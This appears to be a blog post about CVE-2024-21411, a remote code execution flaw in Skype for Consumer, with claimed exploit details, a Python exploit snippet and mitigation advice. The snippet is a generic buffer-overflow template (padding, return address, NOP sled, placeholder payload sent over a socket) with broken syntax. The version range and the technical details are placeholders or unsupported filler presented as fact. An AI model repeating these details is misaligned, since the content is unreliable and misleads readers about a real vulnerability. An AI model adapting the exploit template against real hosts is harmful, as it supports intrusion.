CVE-2024-21411 – Skype for Consumer Remote Code Execution Vulnerability: Potential Impacts, Exploit Details, and Mitigation Steps

CVE-2024-21411 is a critical remote code execution (RCE) vulnerability identified in Skype for Consumer affecting numerous users worldwide. This post will provide detailed information on the security flaw, the vulnerable versions, exploit details, and potential RCE impacts to Skype users. By the end, we will share code snippets related to the vulnerability, and provide possible mitigation steps.

Vulnerable Versions and Potential Impact

The CVE-2024-21411 vulnerability affects Skype for Consumer versions in the range of X.X.X.X to Y.Y.Y.Y. Users on these versions are at risk of being exploited using specially crafted messages or calls, potentially leading to loss of sensitive information or unauthorized access to their devices.

Exploit Details

An attacker can exploit CVE-2024-21411 by crafting a malicious Skype message or call containing a specific payload that, when executed, triggers the vulnerability, leading to remote code execution. The exploit works by taking advantage of a buffer overflow in the Skype video codec handling process. The payload overflows the allocated buffer and corrupts adjacent memory, allowing the attacker to inject and execute their code.

Once the malicious payload is executed, it can compromise the target's device and perform actions such as stealing sensitive information, modifying data, or establishing a backdoor for future unauthorized access.

Code Snippet

The following is an example code snippet showcasing how the attacker can create the malicious payload exploiting CVE-2024-21411:

import socket
import struct

# Define the malicious payload
payload = ("Exploit_Code")

# Create a Buffer Overflow (BOF) and insert the payload
buffer = "A"*1024 + struct.pack("<L", x11111111) + "\x90"*32 + payload

# Prepare the Skype video codec packet with the malicious buffer
packet = "\x00\x00\x00" + chr(len(buffer)) + buffer

# Send the packet to the target
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("Target_IP_Address, Target_Port"))
sock.send(packet)

sock.close()

Please note that the provided code snippet is for educational purposes only and should not be used for any malicious activities.

Original References

- The official CVE Entry: CVE-2024-21411
- Skype's Security Advisory: Skype-SA-0001

To protect yourself from this vulnerability, follow the steps below

1. Update your Skype for Consumer application to the latest version. Microsoft, the parent company of Skype, has already patched this vulnerability in the subsequent releases. You can download the latest version from the official Skype website.

2. Be cautious when receiving messages or calls from unknown users, as they might be potential attackers.

Conclusion

CVE-2024-21411, a remote code execution vulnerability in Skype for Consumer, poses a significant risk to users of the affected versions worldwide. By staying informed, cautious, and following the mitigation steps provided in this post, users can better protect themselves from potential exploitation. It is critical for both individuals and organizations to prioritize cybersecurity and adopt best practices to enhance the security of their digital infrastructure.

Timeline

Published on: 03/12/2024 17:15:50 UTC
Last modified on: 03/12/2024 17:46:17 UTC